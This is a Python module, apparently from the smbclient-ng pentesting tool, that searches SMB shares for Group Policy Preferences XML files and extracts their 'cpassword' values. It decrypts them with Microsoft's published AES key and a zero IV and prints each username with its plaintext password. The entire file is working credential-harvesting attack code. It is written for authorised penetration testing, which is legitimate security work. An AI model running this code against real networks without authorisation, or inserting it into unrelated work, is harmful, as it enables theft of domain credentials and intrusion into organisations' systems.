smbclientng.modules.GPPPasswords

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : GPPPasswords.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 02 june 2024
  6
  7
  8import base64
  9import charset_normalizer
 10from Cryptodome.Cipher import AES
 11from Cryptodome.Util.Padding import unpad
 12import impacket
 13import io
 14import ntpath
 15import re
 16from smbclientng.core.Module import Module
 17from smbclientng.core.ModuleArgumentParser import ModuleArgumentParser
 18from smbclientng.core.utils import windows_ls_entry
 19import xml
 20from xml.dom import minidom
 21
 22
 23class GPPPasswords(Module):
 24    """
 25    GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 
 26    It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.
 27
 28    This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.
 29
 30    Attributes:
 31        name (str): The name of the module, used in command line invocation.
 32        description (str): A brief description of what the module does.
 33
 34    Methods:
 35        parseArgs(arguments): Parses and handles command line arguments for the module.
 36        parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.
 37    """
 38
 39    name = "gpppasswords"
 40    description = "Searches for Group Policy Preferences Passwords in a share."
 41
 42    def parseArgs(self, arguments):
 43        """
 44        Parses the command line arguments provided to the module.
 45
 46        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
 47
 48        Args:
 49            arguments (str): A string of command line arguments.
 50
 51        Returns:
 52            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
 53        """
 54
 55        parser = ModuleArgumentParser(prog=self.name, description=self.description)
 56
 57        # Adding positional arguments
 58        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
 59
 60        # Adding actions
 61        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
 62        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
 63
 64        # Other options
 65        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
 66        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
 67
 68        if len(arguments.strip()) == 0:
 69            parser.print_help()
 70            return None
 71        else:
 72            self.options = self.processArguments(parser, arguments)
 73
 74        return self.options
 75
 76    def parse_xmlfile_content(self, pathtofile):
 77        """
 78        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
 79
 80        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
 81
 82        Args:
 83            pathtofile (str): The path to the XML file on the SMB share.
 84
 85        Returns:
 86            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
 87        """
 88
 89        results = []
 90        fh = io.BytesIO()
 91        try:
 92            # opening the files in streams instead of mounting shares allows for running the script from
 93            # unprivileged containers
 94            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
 95        except impacket.smbconnection.SessionError as e:
 96            return results
 97        except Exception as e:
 98            raise
 99        rawdata = fh.getvalue()
100        fh.close()
101        gppp_found = False
102        encoding = charset_normalizer.detect(rawdata)["encoding"]
103        if encoding is not None:
104            filecontent = rawdata.decode(encoding).rstrip()
105            if "cpassword" in filecontent:
106                gppp_found = True
107            else:
108                if self.config.debug:
109                    print("[debug] No cpassword was found in %s" % pathtofile)
110    
111        if gppp_found:
112            try:
113                root = minidom.parseString(filecontent)
114                xmltype = root.childNodes[0].tagName
115                # function to get attribute if it exists, returns "" if empty
116                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
117
118                # ScheduledTasks
119                if xmltype == "ScheduledTasks":
120                    for topnode in root.childNodes:
121                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
122                        for task in task_nodes:
123                            for property in task.getElementsByTagName("Properties"):
124                                results.append({
125                                    "tagName": xmltype,
126                                    "attributes": {
127                                        "username": read_or_empty(task, "name"),
128                                        "runAs": read_or_empty(property, "runAs"),
129                                        "cpassword": read_or_empty(property, "cpassword"),
130                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
131                                        "changed": read_or_empty(property.parentNode, "changed"),
132                                    },
133                                    "file": pathtofile
134                                })
135                elif xmltype == "Groups":
136                    for topnode in root.childNodes:
137                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
138                        for task in task_nodes:
139                            for property in task.getElementsByTagName("Properties"):
140                                results.append({
141                                    "tagName": xmltype,
142                                    "attributes": {
143                                        "username": read_or_empty(property, "newName"),
144                                        # "userName": read_or_empty(property, "userName"),
145                                        "cpassword": read_or_empty(property, "cpassword"),
146                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
147                                        "changed": read_or_empty(property.parentNode, "changed"),
148                                    },
149                                    "file": pathtofile
150                                })
151                else:
152                    for topnode in root.childNodes:
153                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
154                        for task in task_nodes:
155                            for property in task.getElementsByTagName("Properties"):
156                                results.append({
157                                    "tagName": xmltype,
158                                    "attributes": {
159                                        "username": read_or_empty(property, "newName"),
160                                        # "userName": read_or_empty(property, "userName"),
161                                        "cpassword": read_or_empty(property, "cpassword"),
162                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
163                                        "changed": read_or_empty(property.parentNode, "changed"),
164                                    },
165                                    "file": pathtofile
166                                })
167
168            except Exception as e:
169                raise
170
171        return results
172
173    def decrypt_password(self, pw_enc_b64):
174        """
175        Decrypts a password from its Base64 encoded form using a known AES key and IV.
176
177        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
178
179        Args:
180            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
181
182        Returns:
183            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
184        """
185
186        if len(pw_enc_b64) != 0:
187            # Thank you Microsoft for publishing the key :)
188            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
189            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
190            # Thank you Microsoft for using a fixed IV :)
191            iv = b"\x00" * 16
192            pad = len(pw_enc_b64) % 4
193            if pad == 1:
194                pw_enc_b64 = pw_enc_b64[:-1]
195            elif pad == 2 or pad == 3:
196                pw_enc_b64 += "=" * (4 - pad)
197            pw_enc = base64.b64decode(pw_enc_b64)
198            ctx = AES.new(key, AES.MODE_CBC, iv)
199            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
200            return pw_dec.decode("utf-16-le")
201        else:
202            # cpassword is empty, cannot decrypt anything.
203            return ""
204
205    def __find_callback(self, entry, fullpath, depth):
206        """
207        Callback function for SMB session find method. This function is called for each entry found in the search.
208
209        This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range.
210
211        Args:
212            entry (SMBEntry): The current file or directory entry being processed.
213            fullpath (str): The full path to the current entry.
214            depth (int): Depth of the path.
215            
216        Returns:
217            None: This function does not return any value.
218        """
219
220        # Match and print results
221        do_print_results = True
222        if self.options.mindepth is not None:
223            if depth < self.options.mindepth:
224                do_print_results = False
225        if self.options.maxdepth is not None:
226            if depth > self.options.maxdepth:
227                do_print_results = False
228        
229        if do_print_results:
230            if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')):
231                data = self.parse_xmlfile_content(fullpath)
232                if data is not None:
233                    if len(data) != 0:
234                        print("[+] %s" % fullpath)
235                        for entry in data:
236                            if self.config.no_colors:
237                                print("  | username: '%s'" % entry["attributes"]["username"])
238                                print("  | password: '%s'" % entry["attributes"]["password"])
239                            else:
240                                print("  | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"])
241                                print("  | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"])
242                            if len(data) > 1:
243                                print("|")
244        return None
245
246    def run(self, arguments):
247        """
248        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
249
250        Args:
251            base_dir (str): The base directory to start the search from.
252            paths (list): List of paths to search within the base directory.
253            depth (int): The current depth level in the directory hierarchy.
254
255        Returns:
256            None
257        """
258
259        self.options = self.parseArgs(arguments=arguments)
260
261        if self.options is not None:
262            # Entrypoint
263            try:
264                next_directories_to_explore = []
265                for path in list(set(self.options.paths)):
266                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
267                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
268                
269                self.smbSession.find(
270                    paths=next_directories_to_explore,
271                    callback=self.__find_callback
272                )
273
274            except (BrokenPipeError, KeyboardInterrupt) as e:
275                print("[!] Interrupted.")
276                self.smbSession.close_smb_session()
277                self.smbSession.init_smb_session()